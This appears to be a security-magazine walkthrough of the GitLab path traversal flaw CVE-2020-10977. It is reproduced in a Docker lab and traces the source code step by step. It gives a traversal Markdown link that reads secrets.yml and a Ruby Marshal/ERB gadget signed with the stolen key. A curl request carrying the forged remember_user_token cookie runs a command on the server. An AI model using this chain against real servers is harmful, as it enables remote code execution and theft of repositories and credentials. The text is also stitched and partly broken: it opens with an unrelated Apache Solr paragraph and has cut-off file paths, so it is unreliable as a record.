Not long ago, researchers have discovered two severe vulnerabilities in Apache Solr, a popular open-source full-text search platform. The first bug relates to incorrect handling of Velocity templates, while the second one originates from the DataImportHandler module. Their exploitation enables the attacker to execute commands remotely; therefore, both vulnerabilities must be treated as critical.
Read and execute. Exploiting a new vulnerability in GitLab
The exploit was developed by an Austrian researcher and developer William Bowling (vakzz). He found out that under certain conditions, the class UploadsRewriter
does not check the path to the file. This allows the attacker to copy any file in the system and use it as an attachment when an issue is moved from one project to another one.
The researcher transformed this particular local file reader into an RCE vulnerability. The attacker can read the file secrets.
containing a token used to sign cookies, while a specially crafted and signed cookie makes it possible to execute arbitrary code on the server.
info
The vulnerability belongs to the path traversal category; its registration number in the National Vulnerability Database is CVE-2020-10977. The bug affects EE/CE GitLab versions starting from 8.5 и 12.9, respectively. In the framework of the bug bounty program, GitLab has paid $20,000 to William Bowling for its discovery.
Test system
It’s not a big deal to create test environment for this bug because GitLab has an official docker repository. Using a simple command, I can run the container with any given version of the application. I choose the latest vulnerable release: 12.9.0.
docker run --rm -d --hostname gitlab.vh -p 443:443 -p 80:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.9.0-ce.0
“CE” refers to the Community Edition; in theory, I could use the Enterprise Edition (EE) as well – but it requires a key for the trial period. CE is sufficient for demonstration purposes because both versions are equally vulnerable.
At the first start, GitLab asks to set an admin password. The default login is admin@example.
.
Then I have to create two new projects.
The test system is up and running. However, I also need to download the GitLab source code to demonstrate what its sections contain the error.
Reading local files
The problem originates from the Clone Issue feature.
I create a new issue in the Test
project.
When you create an issue, you can produce its description in the Markdown format and upload an arbitrary file (e.g. a screenshot showing the error or a log file) to simplify the life of the developers.
All uploaded files are stored in the folder /
on the hard drive. The FileUploader
class is responsible for this.
doc/development/file_storage.md
31: | Description | In DB? | Relative path (from CarrierWave.root) | Uploader class | model_type |...39: | Issues/MR/Notes Markdown attachments | yes | uploads/:project_path_with_namespace/:random_hex/:filename | `FileUploader` | Project |
First, the program generates a random hex string and uses it as the folder name.
app/uploaders/file_uploader.rb
011: class FileUploader < GitlabUploader...019: VALID_SECRET_PATTERN = %r{\A\h{10,32}\z}.freeze...069: def self.generate_secret070: SecureRandom.hex071: end...157: def secret158: @secret ||= self.class.generate_secret159:160: raise InvalidSecret unless @secret =~ VALID_SECRET_PATTERN161:162: @secret163: end
The name transmitted during the upload becomes the file name.
app/uploaders/file_uploader.rb
212: def secure_url213: File.join('/uploads', @secret, filename)214: end
After uploading the attachment, a link to it in the Markdown format is added to the issue description, and I save it.
GitLab allows you to move issues from one project to another; this is very useful if an issue affects several products of the same developer.
I press the button and select a project to move the issue to.
When you move in issue, it closes in the old project and appears in the new one.
Important: the attachments are copied, not moved. In other words, the program creates new files and links to them.
Time to examine the code and find out how the transfer is implemented. All issue-related routes are stored in the routes
folder, in the file issues.
. The move
route (the one that processes the user’s POST request with the required parameters) is also kept there.
config/routes/issues.rb
5: resources :issues, concerns: :awardable, constraints: { id: /\d+/ } do6: member do...9: post :move
Then I get into a function of the same name.
app/controllers/projects/issues_controller.rb
123: def move124: params.require(:move_to_project_id)125:126: if params[:move_to_project_id].to_i > 0127: new_project = Project.find(params[:move_to_project_id])128: return render_404 unless issue.can_move?(current_user, new_project)129:130: @issue = Issues::UpdateService.new(project, current_user, target_project: new_project).execute(issue)131: end
At this point, Issues::
is called; and the project ID, user who has initiated the move, and project the issue is moved to are passed as arguments. Then control is transferred to the class UpdateService
, which, in turn, calls the method move_issue_to_new_project
.
app/services/issues/update_service.rb
03: module Issues04: class UpdateService < Issues::BaseService05: include SpamCheckMethods06:07: def execute(issue)08: handle_move_between_ids(issue)09: filter_spam_check_params10: change_issue_duplicate(issue)11: move_issue_to_new_project(issue) || update_task_event(issue) || update(issue)12: end
app/services/issues/update_service.rb
097: def move_issue_to_new_project(issue)098: target_project = params.delete(:target_project)099:100: return unless target_project &&101: issue.can_move?(current_user, target_project) &&102: target_project != issue.project103:104: update(issue)105: Issues::MoveService.new(project, current_user).execute(issue, target_project)106: end
The next section is implemented by the class Issues::
, a successor to Issuable::
.
app/services/issues/move_service.rb
3: module Issues4: class MoveService < Issuable::Clone::BaseService
The execute
method is first called from the derived class and then, from the parent class.
app/services/issues/move_service.rb
03: module Issues04: class MoveService < Issuable::Clone::BaseService05: MoveError = Class.new(StandardError)06:07: def execute(issue, target_project)08: @target_project = target_project...18: super19:20: notify_participants21:22: new_entity23: end
The call of the update_new_entity
method in the parent class is of utmost interest.
app/services/issuable/clone/base_service.rb
03: module Issuable04: module Clone05: class BaseService < IssuableBaseService06: attr_reader :original_entity, :new_entity07:08: alias_method :old_project, :project09:10: def execute(original_entity, new_project = nil)11: @original_entity = original_entity12:13: # Using transaction because of a high resources footprint14: # on rewriting notes (unfolding references)15: #16: ActiveRecord::Base.transaction do17: @new_entity = create_new_entity18:19: update_new_entity20: update_old_entity21: create_notes22: end23: end
After creating a new issue in the target project, this method transfers there data from the original issue.
app/services/issuable/clone/base_service.rb
27: def update_new_entity28: rewriters = [ContentRewriter, AttributesRewriter]29:30: rewriters.each do |rewriter|31: rewriter.new(current_user, original_entity, new_entity).execute32: end33: end
ContentRewriter
is responsible for copying.
app/services/issuable/clone/content_rewriter.rb
03: module Issuable04: module Clone05: class ContentRewriter < ::Issuable::Clone::BaseService06: def initialize(current_user, original_entity, new_entity)07: @current_user = current_user08: @original_entity = original_entity09: @new_entity = new_entity10: @project = original_entity.project11: end...13: def execute14: rewrite_description15: rewrite_award_emoji(original_entity, new_entity)16: rewrite_notes17: end
At this stage, I am interested only in the rewrite_description
method that copies the issue description content.
app/services/issuable/clone/content_rewriter.rb
21: def rewrite_description22: new_entity.update(description: rewrite_content(original_entity.description))23: end
Finally, I reach to rewrite_content
. This is where the program calls the method that copines the attachments of the old issue to the new one: Gitlab::
.
54: def rewrite_content(content)55: return unless content56:57: rewriters = [Gitlab::Gfm::ReferenceRewriter, Gitlab::Gfm::UploadsRewriter]58:59: rewriters.inject(content) do |text, klass|60: rewriter = klass.new(text, old_project, current_user)61: rewriter.rewrite(new_parent)62: end63: end
The method parses the issue description content searching for a template with the attachment.
app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader...17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
lib/gitlab/gfm/uploads_rewriter.rb
05: module Gitlab06: module Gfm...14: class UploadsRewriter15: def initialize(text, source_project, _current_user)16: @text = text17: @source_project = source_project18: @pattern = FileUploader::MARKDOWN_PATTERN19: end20:21: def rewrite(target_parent)22: return @text unless needs_rewrite?23:24: @text.gsub(@pattern) do |markdown|
If the method finds it, it copies the file.
25: file = find_file(@source_project, $~[:secret], $~[:file])26: break markdown unless file.try(:exists?)27:28: klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader29: moved = klass.copy_to(file, target_parent)
lib/gitlab/gfm/uploads_rewriter.rb
60: def find_file(project, secret, file)61: uploader = FileUploader.new(project, secret: secret)62: uploader.retrieve_from_store!(file)63: uploader64: end
app/uploaders/file_uploader.rb
165: # Return a new uploader with a file copy on another project166: def self.copy_to(uploader, to_project)167: moved = self.new(to_project)168: moved.object_store = uploader.object_store169: moved.filename = uploader.filename170:171: moved.copy_file(uploader.file)172: moved173: end
app/uploaders/file_uploader.rb
175: def copy_file(file)176: to_path = if file_storage?177: File.join(self.class.root, store_path)178: else179: store_path180: end181:182: self.file = file.copy_to(to_path)183: record_upload # after_store is not triggered184: end
As you can see, neither find_file
, nor copy_to
, nor copy_file
checks the file name; therefore, any file in the system can be easily transformed into an attachment.
To test this hypothesis, I exit the directory using a standard method: ..
. I must determine the required number of steps ‘up’. By default, the full path to uploaded files in the GitLab container is as shown on the screenshot below.
The full path to the picture from my issue is as follows:
/var/opt/gitlab/gitlab-rails/uploads/@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35/ed4ae110d9f4021350e5c1eaa123b6e1/mia.jpg
A long piece of code in the middle is the unique hash of the current project. Therefore, I need at least ten ..
constructs to get to the root directory of the container.
Now let’s try to read the file /
. I edit the issue description and add the required number of ..
constructs into the path to the file. I recommend using more such constructs to make sure that you get where you want to get.
Then I save and move the file to another project.
Now I can download the passwd
file and view the content of /
.
In other words, I can read everything accessible to the user on whose behalf GitLab is running (in the case of Docker, it is git). And the question is: can I find any useful stuff there?
From file reading to code execution
Of course, such a large-scale project as GitLab contains plenty of interesting files (various access tokens, data stored in private repositories, configs, etc.), and the attacker can read them and use the information to compromise the system. In addition, GitLab includes a very special file: data contained in it enable you to execute any code in the system. The path to this file is as follows:
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
The file stores the important, secret_key_base
variable, which is used to sign cookies.
Similar to many modern solutions, cookies in GitLab are serialized and signed to prevent their substitution. The signature is verified on the server side, and only then the cookie is deserialized. By default, the serializer is defined as :
.
config/initializers/cookies_serializer.rb
4: Rails.application.config.action_dispatch.cookies_serializer = :hybrid
This enables me use to the Marshal format and call various objects. I will need the Embedded Ruby (ERB) template engine, which allows inter alia to execute console commands. In ERB, expression values are described in constructs having the following format: <
. Inside this tag, I can call functions of the template engine, including code written in Ruby. To execute this system command, I can use either backticks or %x
.
erb = ERB.new("<%= `uname -a` %>")
For the testing purposes, I am going to use the test docker container and the command that calls the Rails console: gitlab-rails
.
The next construct is required to declare the result
method of the ERB class deprecated.
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
This triggers the call of result
, and the uname
command is executed.
Going back to exploitation, now I need to find out secret_key_base
. To do so, I will read the file secrets.
using the above-described bug. First, I create an issue with the following content:
[file](/uploads/00000000000000000000000000000000/../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
As you can see, the presence of the uploads
folder is not mandatory; the only precondition is that the entire construct must fall under the regular expression MARKDOWN_PATTERN
.
app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader...17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
In other words, any 32-character string consisting of characters from 0
to 9
and from a
to f
would fit. Then I save the issue and move it to another project. As a result, I get the attached secrets.
file.
To perform the next step, I launch GitLab and specify the obtained variable as secret_key_base
. This allows me to generate a cookie in GitLab that contains payload and has a valid signature: this cookie will pass the verification on the attacked machine. Because I am dealing with a test system, I perform all manipulations on it. First, I run gitlab-rails
again.
Then I create a new request and specify GitLab environment variables as the config.
request = ActionDispatch::Request.new(Rails.application.env_config)
Next, I use the environment variable action_dispatch.
to set Marshal as the cookie serializer.
request.env["action_dispatch.cookies_serializer"] = :marshal
Creating a cookie.
cookies = request.cookie_jar
Now I need a template-payload. I cannot get the results of the command execution; so, I adjust the vector in accordance with these conditions.
erb = ERB.new("<%= `echo Hello > /tmp/owned` %>")depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
Sending the generated object as a cookie.
cookies.signed[:cookie] = depr
Displaying the resultant string.
puts cookies[:cookie]
Now I have to send the payload inside a cookie that can be serialized. William Bowling recommends to use experimentation_subject_id
.
lib/gitlab/experimentation.rb
11: module Gitlab12: module Experimentation...39: module ControllerConcern40: extend ActiveSupport::Concern41:42: included do43: before_action :set_experimentation_subject_id_cookie, unless: :dnt_enabled?...47: def set_experimentation_subject_id_cookie48: return if cookies[:experimentation_subject_id].present?...85: def experimentation_subject_id86: cookies.signed[:experimentation_subject_id]87: end
But I take a standard cookie used for automatic authentication of the user when the Remember
box is checked during the login.
Then I send the generated payload to the server.
curl 'http://gitlab.vh/' -b "remember_user_token=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIEhlbGxvID4gL3RtcC9vd25lZGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cbab57f416c45e3048a8e557f4e988f245859c03"
Voila! The command has been executed, and the file /
successfully created.
Vulnerability demonstration (video)
Conclusions
The examined vulnerability is easy-to-exploit and very dangerous. GitLab is a popular tool; so, thousands of services critical for corporate networking infrastructures are at risk. Just imagine that attackers can gain access to source files of all your projects!..
The bug had persisted in the code for more than four years and successfully migrated from one branch to another starting from version 8.5 released in February 2016. Therefore, upgrade to version 12.9.1 ASAP to get rid of this vulnerability!